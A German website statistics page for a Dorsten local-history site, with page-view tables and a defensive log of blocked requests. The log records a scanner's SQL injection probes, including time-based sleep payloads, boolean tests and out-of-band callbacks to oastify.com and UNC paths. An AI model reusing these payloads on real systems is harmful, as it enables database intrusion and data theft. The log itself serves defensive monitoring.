08.09.2026 bis 06.11.2026 · höchster Tageswert: 49713
| Seite | Anteil | Aufrufe | davon intern |
|---|---|---|---|
| Startseite / Neu-Presse index.php | 46.551 | – | |
| Bildergalerie VOH (Detail) voh-gallerydetail.php | 20.078 | – | |
| gs-station.php gs-station.php | 14.123 | – | |
| Geschichtsstation (Detail) geschichtsstation.php | 3.948 | – | |
| Einst und Jetzt einst.php | 2.349 | – | |
| DorstenMomente (Filme) filme.php | 1.678 | – | |
| Historische Bilder bilder.php | 1.367 | – | |
| Heimatkalender Artikel heimatkalender.php | 1.166 | – | |
| Lesetipps lesetipps.php | 1.056 | – | |
| Ehrenmitglieder ehrenmitglied.php | 1.025 | – | |
| Geschichtstafeln (Übersicht) projekt-geschichtsstationen.php | 915 | – | |
| Institution Quelle institutionen.php | 897 | – | |
| Statistik (diese Seite) statistik.php | 875 | 5 | |
| standpunkt-detail.php standpunkt-detail.php | 656 | – | |
| Lippe Biberbande biber.php | 527 | – | |
| Bildergalerie VOH voh-gallery.php | 377 | – | |
| Station 02: Sport gs-sport.php | 270 | – | |
| StandPunkt! Gedenktafeln gedenktafeln.php | 263 | – | |
| Impressum impressum.php | 238 | – | |
| Wir über uns wirueberuns.php | 232 | – | |
| Rundgang Religion gs-rundgang-religion.php | 222 | – | |
| Station 39: Eisenbahn gs-eisenbahn.php | 208 | – | |
| Rundgang Neuere Geschichte gs-rundgang-geschichte.php | 205 | – | |
| Radtour Nord 2 gs-radkarte-nord2.php | 204 | – | |
| Radtour Nord 1 gs-radkarte-nord1.php | 197 | – | |
| Rundgang Stadtbefestigung gs-rundgang-stadtbefestigung.php | 181 | – | |
| Radtour Süd 1 gs-radkarte-sued1.php | 181 | – | |
| Radtour Süd 2 gs-radkarte-sued2.php | 178 | – | |
| Datenschutz legal.php | 154 | – | |
| Station 25: Krankenhaus gs-krankenhaus.php | 151 | – | |
| gs-muna.php gs-muna.php | 146 | – | |
| Vereinssatzung satzung.php | 106 | – | |
| Stadtgeschichte geschichte.php | 98 | – | |
| gs-radkarten.php gs-radkarten.php | 75 | – | |
| Karte Innenstadt gs-karte-innenstadt.php | 59 | – | |
| Station 09: St. Agatha gs-agatha.php | 36 | – | |
| Station 03: Mühle gs-muehle.php | 35 | – | |
| Station 31: Barkenberg gs-barkenberg.php | 32 | – | |
| Station 28: Rhade gs-rhade.php | 11 | – | |
| Station 22: Schifffahrt gs-schiffahrt.php | 9 | – | |
| Station 24: Zechensiedlung gs-zechensiedlung.php | 7 | – | |
| test.php test.php | 6 | – | |
| Station 27: Wulfen gs-wulfen.php | 6 | – | |
| Station 43: Essener Tor gs-essenertor.php | 6 | – | |
| Station 17: Altendorf gs-altendorf.php | 6 | – | |
| Station 47: Franziskanerinnen gs-franziskanerinnen.php | 6 | – | |
| Station 38: Holsterhausen gs-holsterhausen.php | 5 | – | |
| Station 41: St. Paulus gs-paulus.php | 5 | – | |
| Station 13: Hardtberg gs-hardtberg.php | 5 | – | |
| Station 01: Franziskaner gs-franziskaner.php | 5 | – | |
| Station 08: Markt gs-markt.php | 4 | – | |
| Station 10: Fürst Leopold gs-leopold.php | 4 | – | |
| Station 06: Stadtwaage gs-stadtwaage.php | 4 | – | |
| Station 12: Zwangsarbeiter gs-zwangsarbeiter.php | 4 | – | |
| Station 40: Segelflugplatz gs-segelflugplatz.php | 4 | – | |
| Station 16: Stadt Dorsten gs-stadt-dorsten.php | 4 | – | |
| Anmeldung login.php | 4 | – | |
| Station 04: Petrinum gs-petrinum.php | 4 | – | |
| Station 18: Hardt gs-hardt.php | 4 | – | |
| Station 34: Römer gs-roemer.php | 4 | – |
Einzelne Artikel, Veranstaltungen und Dokumente – mit ihrer Überschrift.
| Inhalt | Seite | Aufrufe |
|---|---|---|
| Station 31: Barkenberg gsnr=31 | Geschichtsstation (Detail) | 1.323 |
| Römische Lager in Holsterhausen nid=755 | Startseite / Neu-Presse | 1.111 |
| Galerie: B Agatha Kirche ................... Straßen, Klöster und Kirchen .................... (08.07.2022) gid=175 | Bildergalerie VOH (Detail) | 1.011 |
| Galerie: B Drubbel (08.07.2022) gid=176 | Bildergalerie VOH (Detail) | 914 |
| Galerie: B Alleestraße (11.07.2022) gid=193 | Bildergalerie VOH (Detail) | 903 |
| Galerie: B Lippestraße und Lippetor (08.07.2022) gid=177 | Bildergalerie VOH (Detail) | 897 |
| Galerie: A Vorwort (07.07.2022) gid=170 | Bildergalerie VOH (Detail) | 890 |
| Galerie: B Essener Straße und Essener Tor (08.07.2022) gid=179 | Bildergalerie VOH (Detail) | 804 |
| Galerie: B Recklinghaeuser Straße und -Tor (08.07.2022) gid=180 | Bildergalerie VOH (Detail) | 778 |
| Galerie: B Franziskaner Kirche, Kloster und Gymnasium (09.07.2022) gid=181 | Bildergalerie VOH (Detail) | 769 |
| Galerie: E Zerstörung im 2. Weltkrieg und Wiederaufbau (15.07.2022) gid=211 | Bildergalerie VOH (Detail) | 727 |
| Galerie: B Markt (08.07.2022) gid=174 | Bildergalerie VOH (Detail) | 657 |
| Station 45: St. Matthäus gsnr=45 | Geschichtsstation (Detail) | 635 |
| Galerie: Der Steinerne Tisch (24.02.2024) gid=246 | Bildergalerie VOH (Detail) | 561 |
| Galerie: B Hühnerstraße (09.07.2022) gid=190 | Bildergalerie VOH (Detail) | 549 |
| Galerie: B Südwall (09.07.2022) gid=184 | Bildergalerie VOH (Detail) | 503 |
| Galerie: B Westwall und Gahlener Straße (09.07.2022) gid=185 | Bildergalerie VOH (Detail) | 500 |
| Galerie: B Ostgraben (09.07.2022) gid=186 | Bildergalerie VOH (Detail) | 500 |
| Galerie: D Bergwerke (14.07.2022) gid=208 | Bildergalerie VOH (Detail) | 499 |
| Galerie: E Historische Luftaufnahmen und Ansichten vom Alten Dortsen (07.07.2022) gid=166 | Bildergalerie VOH (Detail) | 497 |
| Galerie: Gedenkveranstaltung und Übergabe (26.11.2025) gid=249 | Bildergalerie VOH (Detail) | 487 |
| Galerie: D Bahnhöfe ............... Industrie und Wirtschaft ............... (14.07.2022) gid=207 | Bildergalerie VOH (Detail) | 478 |
| Galerie: B Ursulastraße und Blindestraße (09.07.2022) gid=189 | Bildergalerie VOH (Detail) | 467 |
| Station 10: Fürst Leopold gsnr=10 | Geschichtsstation (Detail) | 438 |
| Kundgebung nid=736 | Startseite / Neu-Presse | 438 |
| Galerie: B Südgraben (09.07.2022) gid=187 | Bildergalerie VOH (Detail) | 423 |
| Galerie: B Ostwall (09.07.2022) gid=183 | Bildergalerie VOH (Detail) | 417 |
| Galerie: B Ursulinenkloster (09.07.2022) gid=182 | Bildergalerie VOH (Detail) | 410 |
| Kalender: „Ein ganzes Jahr für Klara“ mit 13 Dorstener Motiven nid=722 | Startseite / Neu-Presse | 399 |
| Galerie: C Feldmark (13.07.2022) gid=194 | Bildergalerie VOH (Detail) | 387 |
| Galerie: Gedenken (24.02.2026) gid=251 | Bildergalerie VOH (Detail) | 385 |
| Galerie: B Suibertusstraße (11.07.2022) gid=192 | Bildergalerie VOH (Detail) | 385 |
| Galerie: C Hardt (13.07.2022) gid=195 | Bildergalerie VOH (Detail) | 382 |
| Galerie: C Hervest (13.07.2022) gid=197 | Bildergalerie VOH (Detail) | 367 |
| Galerie: D Gastwirtschaften (14.07.2022) gid=209 | Bildergalerie VOH (Detail) | 364 |
| Galerie: D Flugplätze (14.07.2022) gid=205 | Bildergalerie VOH (Detail) | 351 |
| Galerie: C Holsterhausen (13.07.2022) gid=204 | Bildergalerie VOH (Detail) | 342 |
| Galerie: B Westgraben (09.07.2022) gid=188 | Bildergalerie VOH (Detail) | 332 |
| Station 39: Eisenbahn gsnr=39 | Geschichtsstation (Detail) | 312 |
| Galerie: C Wulfen (13.07.2022) gid=200 | Bildergalerie VOH (Detail) | 307 |
Hier landen Aufrufe, bei denen jemand statt einer Stationsnummer etwas anderes eingesetzt oder bekannte Angriffsmuster mitgeschickt hat. Sie wurden abgewiesen, bevor die Datenbank gefragt wurde – diese Liste ist also kein Schadensbericht, sondern ein Klopfprotokoll. Ein paar Einträge pro Woche sind völlig normal, das Internet ist voller automatischer Scanner. Insgesamt gespeichert: 48.609 Einträge, ältere löschen sich nach 30 Tagen von selbst.
| Zeitpunkt | Grund | Aufgerufene Adresse | Herkunft |
|---|---|---|---|
| 06.11.2026 11:30:17 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:17 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%20and%202467%3d2472--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:16 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%20and%203304%3d3304--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:16 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%20and%20'6318'%3d'6325 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:14 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%20and%20'4541'%3d'4541 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:13 | Zahl erwartet bei nr | GET /gs-station.php?nr=1174357624'%20or%208414%3d8416--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:12 | Zahl erwartet bei nr | GET /gs-station.php?nr=1128525437'%20or%203025%3d3025--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:11 | Zahl erwartet bei nr | GET /gs-station.php?nr=1141924637'%20or%20'3178'%3d'3184 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:09 | Zahl erwartet bei nr | GET /gs-station.php?nr=1181665110'%20or%20'6885'%3d'6885 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:07 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20and%202687%3d2695--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:06 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20and%205204%3d05204--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:04 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20and%204992%3d4993 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:03 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20and%203384%3d03384 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:01 | Zahl erwartet bei nr | GET /gs-station.php?nr=1198710975%20or%203965%3d3970--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:30:00 | Zahl erwartet bei nr | GET /gs-station.php?nr=1111823940%20or%204793%3d04793--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:58 | Zahl erwartet bei nr | GET /gs-station.php?nr=1186838966%20or%208162%3d8163 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:57 | Zahl erwartet bei nr | GET /gs-station.php?nr=1172037617%20or%207606%3d07606 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:57 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%2c0)AND%20pg_sleep(20)-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:55 | Zahl erwartet bei nr | GET /gs-station.php?nr=11)AND%20pg_sleep(20)-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:55 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%2c''%7c%7cpg_sleep(20)-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:55 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20AND%20pg_sleep(20)-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:55 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%7c%7cpg_sleep(20)-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:54 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%2c0)waitfor%20delay'0%3a0%3a20'-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:54 | Zahl erwartet bei nr | GET /gs-station.php?nr=11)waitfor%20delay'0%3a0%3a20'-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:54 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20waitfor%20delay'0%3a0%3a20'-- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:54 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20and%20(select*from(select(sleep(20)))a)--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:53 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%2b(select*from(select(sleep(20)))a)%2b Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:53 | Zahl erwartet bei nr | GET /gs-station.php?nr=(select*from(select(sleep(20)))a) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:52 | Zahl erwartet bei nr | GET /gs-station.php?nr=11' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:52 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%20into%20outfile%20'%5c%5c%5c%5cem40a3hwp53fb0w76mbwabgq6hcj0d51w5kw... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:51 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%2b(select%20load_file('%5c%5c%5c%5clb07za63ecsm07levt03zi5xvo1qpku8... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:50 | Zahl erwartet bei nr | GET /gs-station.php?nr=(select%20load_file('%5c%5c%5c%5c3uypisplxub4jp4webjli0ofe6k882dq4ssjf9... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:49 | Zahl erwartet bei nr | GET /gs-station.php?nr=11')%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cz88lwo3hbqp0xliss... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:49 | Zahl erwartet bei nr | GET /gs-station.php?nr=11)%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cvedh2k9dhmvw3hooy3... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:48 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cz77lvo2haqo0wlhsr7... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:48 | Zahl erwartet bei nr | GET /gs-station.php?nr=11%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cco4yc1jur35ddyy58kd... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:47 | Zahl erwartet bei nr | GET /gs-station.php?nr=11'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%2... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:46 | Zahl erwartet bei nr | GET /gs-station.php?nr=(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encod... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:45 | Zahl erwartet bei nr | GET /gs-station.php?nr=xwmz%5cz%60z'z%22$%7b%7b%25%7b%7b%5c Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:44 | Zahl erwartet bei nr | GET /gs-station.php?nr=hwjwk%5cz%60z'z%22$%7b%7b%25%7b%7b%5c Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:43 | Zahl erwartet bei nr | GET /gs-station.php?nr=ytnnjkk%5cz%60z'z%22$%7b%7b%25%7b%7b%5c Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:42 | Zahl erwartet bei nr | GET /gs-station.php?nr=%60z'z%22$%7b%7b%25%7b%7b%5c Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:42 | Zahl erwartet bei nr | GET /gs-station.php?nr=11pmm21spdlz Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:40 | Zahl erwartet bei nr | GET /gs-station.php?nr=yqnfcscmsn Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:20 | Zahl erwartet bei nr | GET /gs-station.php?nr=4rwqftmmuv85gq1xbcgmf1lgb7h956zurii58tx.oastify.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:18 | Zahl erwartet bei nr | GET /gs-station.php?nr=48%22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:17 | Zahl erwartet bei nr | GET /gs-station.php?nr=48'%20and%207722%3d7730--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:16 | Zahl erwartet bei nr | GET /gs-station.php?nr=b2exq0xt52jcrxc4mjrtq8wnmesggd911psci07.oastify.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:15 | Zahl erwartet bei nr | GET /gs-station.php?nr=48'%20and%206461%3d6461--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:14 | Zahl erwartet bei nr | GET /gs-station.php?nr=48'%20and%20'2421'%3d'2422 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:14 | Zahl erwartet bei nr | GET /gs-station.php?nr=47%22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:13 | Zahl erwartet bei nr | GET /gs-station.php?nr=5v1rjuqnywc6kr5yfdknj2phf8la971vtjk6auz.oastify.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:12 | Zahl erwartet bei nr | GET /gs-station.php?nr=48'%20and%20'1791'%3d'1791 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:11 | Zahl erwartet bei nr | GET /gs-station.php?nr=47'%20and%209496%3d9504--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:10 | Zahl erwartet bei nr | GET /gs-station.php?nr=4898416894'%20or%209834%3d9835--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:10 | Zahl erwartet bei nr | GET /gs-station.php?nr=47'%20and%202765%3d2765--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:09 | Zahl erwartet bei nr | GET /gs-station.php?nr=46%22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:09 | Zahl erwartet bei nr | GET /gs-station.php?nr=4845557910'%20or%204624%3d4624--%20 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:08 | Zahl erwartet bei nr | GET /gs-station.php?nr=fwf1k4rxz6dgl168gnlxkcqrgimkah15ttkga4z.oastify.com Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
| 06.11.2026 11:29:07 | Zahl erwartet bei nr | GET /gs-station.php?nr=47'%20and%20'7093'%3d'7099 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 |
206.223.252.52 |
Dieselbe IP-Adresse mit vielen Einträgen in kurzer Zeit ist ein Scanner. Kommt so etwas dauerhaft von einer einzigen Adresse, lässt sie sich bei STRATO sperren.
Wer war das? Diese Auswertung erfasst vorübergehend auch die Aufrufe,
die oben nicht mitgezählt werden – also Suchmaschinen, Scanner und
Formular-Abschickungen. Sie hilft, einen plötzlichen Ausschlag zuzuordnen,
ohne auf die Logfiles von STRATO zu warten. Zum Abschalten in
zaehler.php $diagnose = false; setzen.
04.11.2026 · 1.765 Aufrufe insgesamt · stärkste Stunde: 519
0 Uhr → 23 Uhr
05.11.2026 · 89.668 Aufrufe insgesamt · stärkste Stunde: 30.260
0 Uhr → 23 Uhr
06.11.2026 · 25.799 Aufrufe insgesamt · stärkste Stunde: 10.497
0 Uhr → 23 Uhr
Zu jeder Stunde die Programme und Browser, die aufgerufen haben – auch die, die oben nicht mitgezählt werden. Ein Ausschlag ohne Eintrag im Abwehr-Protokoll ist meist eine Suchmaschine, die die Seite durchgeht: das ist kein Angriff, sondern normale Arbeit eines Roboters.
06.11.2026
| Uhrzeit | Aufrufe | Wer |
|---|---|---|
| 23:00 – 23:59 | 28 | sonstiges Programm (Bot) 12 (nicht gezählt) · DotBot (Werbe-Analyse) 4 (nicht gezählt) · Apple (Siri/Spotlight) 3 (nicht gezählt) · PetalBot (Huawei) 3 (nicht gezählt) · Claude (Anthropic) 2 (nicht gezählt) · und 3 weitere (4) |
| 16:00 – 16:59 | 7 | Chrome (Windows) 3 · Chrome (Mac) 3 · Safari (Mac) 1 |
| 15:00 – 15:59 | 140 | Claude (Anthropic) 49 (nicht gezählt) · sonstiges Programm (Bot) 28 (nicht gezählt) · Chrome (Mac) 18 (nicht gezählt) · Safari (iPhone) 16 · Chrome (Android) 9 · und 9 weitere (20) |
| 14:00 – 14:59 | 50 | Chrome (Mac) 18 (nicht gezählt) · Safari (iPhone) 6 · DotBot (Werbe-Analyse) 5 (nicht gezählt) · Chrome (Windows) 4 · Bing (Suchmaschine) 3 (nicht gezählt) · und 8 weitere (14) |
| 13:00 – 13:59 | 31 | Chrome (Mac) 17 (nicht gezählt) · Chrome (Windows) 2 · Amazon (Alexa) 2 (nicht gezählt) · DotBot (Werbe-Analyse) 2 (nicht gezählt) · Apple (Siri/Spotlight) 2 (nicht gezählt) · und 6 weitere (6) |
| 12:00 – 12:59 | 58 | Chrome (Mac) 37 · DotBot (Werbe-Analyse) 4 (nicht gezählt) · sonstiges Programm (Bot) 3 (nicht gezählt) · Apple (Siri/Spotlight) 3 (nicht gezählt) · Bing (Suchmaschine) 2 (nicht gezählt) · und 6 weitere (9) |
| 11:00 – 11:59 | 8.708 | Chrome (Windows) 8.508 · Browser 154 · sonstiges Programm (Bot) 29 (nicht gezählt) · Bing (Suchmaschine) 4 (nicht gezählt) · DotBot (Werbe-Analyse) 4 (nicht gezählt) · und 7 weitere (9) |
| 10:00 – 10:59 | 4.755 | Chrome (Windows) 4.627 · Browser 64 · sonstiges Programm (Bot) 32 (nicht gezählt) · Chrome (Mac) 19 · Bing (Suchmaschine) 3 (nicht gezählt) · und 5 weitere (10) |
| 09:00 – 09:59 | 10.497 | Chrome (Windows) 10.252 · Browser 196 · Chrome (Android) 17 · Chrome (Mac) 6 (nicht gezählt) · PetalBot (Huawei) 6 (nicht gezählt) · und 8 weitere (20) |
| 08:00 – 08:59 | 747 | Chrome (Windows) 695 · Chrome (Mac) 26 (nicht gezählt) · Browser 8 · Safari (iPhone) 4 · PetalBot (Huawei) 4 (nicht gezählt) · und 5 weitere (10) |
| 07:00 – 07:59 | 104 | Chrome (Mac) 38 (nicht gezählt) · sonstiges Programm (Bot) 28 (nicht gezählt) · Chrome (Windows) 9 (nicht gezählt) · DotBot (Werbe-Analyse) 7 (nicht gezählt) · Apple (Siri/Spotlight) 5 (nicht gezählt) · und 9 weitere (17) |
| 06:00 – 06:59 | 73 | Chrome (Mac) 38 · Majestic (Werbe-Analyse) 8 (nicht gezählt) · sonstiges Programm (Bot) 8 (nicht gezählt) · SiteLock (dein Sicherheitsdienst) 4 (nicht gezählt) · DotBot (Werbe-Analyse) 3 (nicht gezählt) · und 8 weitere (12) |
| 05:00 – 05:59 | 142 | Chrome (Mac) 89 · sonstiges Programm (Bot) 34 (nicht gezählt) · Apple (Siri/Spotlight) 5 (nicht gezählt) · Safari (iPhone) 4 · Claude (Anthropic) 2 (nicht gezählt) · und 7 weitere (8) |
| 04:00 – 04:59 | 106 | Chrome (Mac) 55 (nicht gezählt) · sonstiges Programm (Bot) 28 (nicht gezählt) · Safari (iPhone) 9 · Claude (Anthropic) 5 (nicht gezählt) · DotBot (Werbe-Analyse) 3 (nicht gezählt) · und 5 weitere (6) |
| 03:00 – 03:59 | 114 | Chrome (Mac) 73 · Claude (Anthropic) 8 (nicht gezählt) · sonstiges Programm (Bot) 8 (nicht gezählt) · DotBot (Werbe-Analyse) 6 (nicht gezählt) · Safari (iPhone) 4 · und 8 weitere (15) |
| 02:00 – 02:59 | 104 | Chrome (Mac) 39 · sonstiges Programm (Bot) 35 (nicht gezählt) · Claude (Anthropic) 6 (nicht gezählt) · Chrome (Windows) 4 · Amazon (Alexa) 4 (nicht gezählt) · und 10 weitere (16) |
